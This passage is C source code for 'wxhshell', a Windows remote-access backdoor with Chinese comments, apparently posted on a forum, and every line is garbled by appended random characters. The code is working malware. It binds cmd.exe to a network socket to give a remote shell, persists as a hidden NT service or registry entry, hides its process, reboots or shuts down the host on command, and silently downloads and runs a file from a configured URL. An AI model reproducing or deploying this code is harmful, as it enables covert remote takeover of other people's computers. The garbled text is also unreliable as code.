  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PrHoN2y5E  
  } r2*8.j51  
  else { \,xa_zeO  
H+{@V B  
    switch(cmd[0]) { hd*GDjmRQ/  
  B:Y F|k}T  
  // 帮助 ds2%i  
  case '?': { >PzZt8e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g=/!Ry=  
    break; "Zfm4Nx "  
  } M5a&eO  
  // 安装 @O`T|7v  
  case 'i': { *Z$W"JP  
    if(Install()) ~t<G gNI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !bCSt?}@u  
    else j{j5TvsrY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G?v!Uv8O  
    break; ..kFn!5(g  
    } +MZI\>  
  // 卸载 D;&\)  
  case 'r': { 9W0*|!tQ,+  
    if(Uninstall()) dS8ydG2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 JhCSw-<)  
    else u`ry CZo#g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k;B[wEW@  
    break; ]$u C~b   
    } ?b:Pl{?  
  // 显示 wxhshell 所在路径 +T&YYO8>5  
  case 'p': { Pr:\zI  
    char svExeFile[MAX_PATH]; 7},oY"" 8  
    strcpy(svExeFile,"\n\r"); i)$P1h  
      strcat(svExeFile,ExeFile); jGi{:}`lB  
        send(wsh,svExeFile,strlen(svExeFile),0); 0l3[?YtXc  
    break; $4mCtonP=  
    } $q*a}d[Q  
  // 重启 80=LT-%#  
  case 'b': { t`="2$NO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^Ze(WE)  
    if(Boot(REBOOT)) &~Y%0&F,&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qm"SN<2S*  
    else { ;mYZ@g%e  
    closesocket(wsh); H| _@9V  
    ExitThread(0); ?YMBZ   
    } `Se2f0",  
    break; @t a:9wZ  
    } :%z#s  
  // 关机 Lk!m1J5  
  case 'd': { \FUMfo^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c4u/tt.)  
    if(Boot(SHUTDOWN)) P-a8S*RRa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \WBO(,]V  
    else { >|z:CX$]  
    closesocket(wsh); tz8 fZ*n  
    ExitThread(0); 8k3y"239t  
    } z#Fel/L`O  
    break; q 'd]  
    } S6}_N/;6~  
  // 获取shell |{Ex)hkw  
  case 's': { 7H09\g&  
    CmdShell(wsh); {?Nm"#  
    closesocket(wsh); }`2a>N: &  
    ExitThread(0); ^.R!sQ  
    break; eKy!Pai  
  } w\MWr+4  
  // 退出 O_qwD6s-_  
  case 'x': { t V( WhP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O\ _ro.  
    CloseIt(wsh); >|c?ZqW  
    break; 2*<Zc|uNW  
    } 0zA;%oP  
  // 离开 ilde<!?  
  case 'q': { ImG8v[Q E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0TaI"/ai  
    closesocket(wsh); ;<q 2  
    WSACleanup(); ! d<R =L  
    exit(1); IIih9I`IR  
    break; uJCp  
        } "AZ|u#0P  
  } !qp$Xtf+  
  } 7)]boW~Q  
AmHj\NX$  
  // 提示信息 P JATRJ1.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _7\`xU  
} Y<|JhqOXK  
  } aoZ| @x  
m5iCvOP  
  return; 0VcHz$ 6  
} "b~C/-W I  
} A+ncabm  
// shell模块句柄 "T_9_6tH  
int CmdShell(SOCKET sock) a7c`[   
{ \c<;!vkZ04  
STARTUPINFO si; p @kRo#~l  
ZeroMemory(&si,sizeof(si)); S9Oz5_x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A"ATtid  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nhdZC@~E0  
PROCESS_INFORMATION ProcessInfo; -N% V5 TN  
char cmdline[]="cmd"; hcj]T?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]:#=[ CH  
  return 0; J/jkb3  
} /6Q]f  
)2RRa^=&  
// 自身启动模式 cz,QP'g  
int StartFromService(void) ]7Du/)$  
{ {j9TzR  
typedef struct sWo}Xq#  
{ QK?V^E  
  DWORD ExitStatus; s2"`j-iQ  
  DWORD PebBaseAddress; t 86w&  
  DWORD AffinityMask; >vp4R`  
  DWORD BasePriority; ` @  YV  
  ULONG UniqueProcessId; sBB[u'h!  
  ULONG InheritedFromUniqueProcessId; #lrwKHZ+  
}   PROCESS_BASIC_INFORMATION; OA*O =  
cFw-JM<  
PROCNTQSIP NtQueryInformationProcess; bwzx_F/  
&muBSQ-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ':fp|m)M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3nG.ah  
t*9 gusmG  
  HANDLE             hProcess; I)V=$r{  
  PROCESS_BASIC_INFORMATION pbi; g%l ,a3"  
2L1y4nnbwo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CyR`&u  
  if(NULL == hInst ) return 0; nf^?X`g  
S?d<P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CdF;0A9.3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =4MTb_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]CF-#q}'  
!h4T3sO  
  if (!NtQueryInformationProcess) return 0; : c~SH/qS  
TL2E|@k1]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ":$4/b6  
  if(!hProcess) return 0; RbL?(  
r@3-vLI!u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; salC4z3  
a$|U4Eqo  
  CloseHandle(hProcess); k}v`UiGM  
v1 8<~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %jzTQ+.%]^  
if(hProcess==NULL) return 0; VIz(@  
$U*eq [  
HMODULE hMod; kScZ P8yw  
char procName[255]; KE3`5Y!  
unsigned long cbNeeded; /IWA U)A0  
u-t=M]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -}%J3j|R:  
!CUl1L1DSi  
  CloseHandle(hProcess); Jz` jN~  
BDI@h%tJb:  
if(strstr(procName,"services")) return 1; // 以服务启动 :oZ<[#p"*  
6p4BsWPx  
  return 0; // 注册表启动 M5h r0 R{  
} IFTNr2I  
20V~?xs~  
// 主模块 Zu,:}+niU  
int StartWxhshell(LPSTR lpCmdLine) `.MZ,Xhqi"  
{ (U.Go/A#wE  
  SOCKET wsl; ;|WUbc6&g  
BOOL val=TRUE; OM[MRZEh G  
  int port=0; D{N8q^Cs9  
  struct sockaddr_in door; GK}52,NM  
M!J7Vj?Ps  
  if(wscfg.ws_autoins) Install(); + f67y  
ri{*\LV*@  
port=atoi(lpCmdLine); P:'wSE91  
vW=-RTRH  
if(port<=0) port=wscfg.ws_port; Qp:I[:Lr;  
xn3 _ ED  
  WSADATA data; i]r(VKX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )$:1e)d  
eL SzGbKf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ma|4nLC}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t,7%| {  
  door.sin_family = AF_INET; w w^\_KGu7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hN2A%ds*(j  
  door.sin_port = htons(port); A4tk</A  
 pX_#Y)5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @wcF#?J  
closesocket(wsl); R'v~:wNTNs  
return 1; &IQ=M.!r  
} uI-T]N:W8x  
2|>\A.I|=  
  if(listen(wsl,2) == INVALID_SOCKET) { 9~Dg<wQ  
closesocket(wsl); F-/z@tM  
return 1; m=01V5_  
} lAU99(GXV  
  Wxhshell(wsl); .nD#:86M  
  WSACleanup(); #-;c!<2  
BTkx}KK  
return 0; \P.h;|u  
G]=z ![$  
} r !Aj5  
~</FF'Xz  
// 以NT服务方式启动 mU #F>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +X/a+y-  
{ 5*%Gh&)  
DWORD   status = 0; M- ^I!C  
  DWORD   specificError = 0xfffffff; bp?5GU&Uy  
^&?,L@fW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gyvrQ, u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AT"gRCU$4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a!$kKOK  
  serviceStatus.dwWin32ExitCode     = 0; >B{NxL3->  
  serviceStatus.dwServiceSpecificExitCode = 0; cj[b^Wv:  
  serviceStatus.dwCheckPoint       = 0; Ks%0!X?3q  
  serviceStatus.dwWaitHint       = 0; `*8}q!.  
[7@ g*!+d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G}pFy0W\S  
  if (hServiceStatusHandle==0) return; {U=J>#@G  
&!8 WRJ  
status = GetLastError(); =npE?wK  
  if (status!=NO_ERROR) (A~7>\r +  
{ 0#]fEi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;MS.ag#  
    serviceStatus.dwCheckPoint       = 0; ZQfxlzj+X  
    serviceStatus.dwWaitHint       = 0; y&$n[j  
    serviceStatus.dwWin32ExitCode     = status; #|b*l/t8  
    serviceStatus.dwServiceSpecificExitCode = specificError; z By%=)`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vXDs/,`r  
    return; jaoZ}}V_$  
  } [Fr](&Tx  
~n]5iGz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h]oUY.Pf  
  serviceStatus.dwCheckPoint       = 0; E'LI0fr  
  serviceStatus.dwWaitHint       = 0; 9z#8K zXg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qi,) l*?f  
} '3l TI  
B#V""[Y9  
// 处理NT服务事件,比如:启动、停止 fB$a )~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E`fG9:6l]  
{ Q VTL}AT2:  
switch(fdwControl) ;_cTrjMv\  
{ [inlxJD  
case SERVICE_CONTROL_STOP: >-MnB  
  serviceStatus.dwWin32ExitCode = 0; N!K%aH~O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T)mQ+&|  
  serviceStatus.dwCheckPoint   = 0; g"P%sA/E+  
  serviceStatus.dwWaitHint     = 0; <[db)r~c  
  {  vywB{%p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZexC3LD"  
  } s/"bH3Ob9v  
  return; G8M~}I/)  
case SERVICE_CONTROL_PAUSE: \jC) ;mk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %OBW/Ti  
  break; 0<m7:D Gd  
case SERVICE_CONTROL_CONTINUE: & BPYlfB1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gRY#pRT6d  
  break; << 6 GE  
case SERVICE_CONTROL_INTERROGATE: Cf[tNq  
  break; roS" q~GS,  
}; c]9gf\WW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zy(i_B-b  
} V"#0\ |]m  
ahl|N`  
// 标准应用程序主函数 gnp.!-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &nmBsl3Q.  
{ c-$rB_t+  
+fVvH  
// 获取操作系统版本 1bV G%N  
OsIsNt=GetOsVer(); 2w.FC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #kW=|8X  
R (f:UC  
  // 从命令行安装 %ztZ#h~g  
  if(strpbrk(lpCmdLine,"iI")) Install(); px;~20$e  
1-gM)x{Jr  
  // 下载执行文件 bg zd($)u  
if(wscfg.ws_downexe) {  y<Koc>8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KtQs uL%  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^?lpY{aa  
} KTm^}')C8  
Cv,WG]E7(  
if(!OsIsNt) { P'<i3#;7X  
// 如果时win9x,隐藏进程并且设置为注册表启动 ` i[26Qb  
HideProc(); E'WXi!>7p  
StartWxhshell(lpCmdLine); MJ:c";KCq0  
} zVE" 6  
else 2|,$#V=  
  if(StartFromService()) nd' D0<%  
  // 以服务方式启动 lD0p=`.  
  StartServiceCtrlDispatcher(DispatchTable); NN4Z:6W5  
else \tgY2 :  
  // 普通方式启动 e4YfJd  
  StartWxhshell(lpCmdLine); @D9O<x  
zB%~=@Q^6  
return 0; 0!\gK <,z  
}
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只看该作者 1 发表于: 2006-10-10
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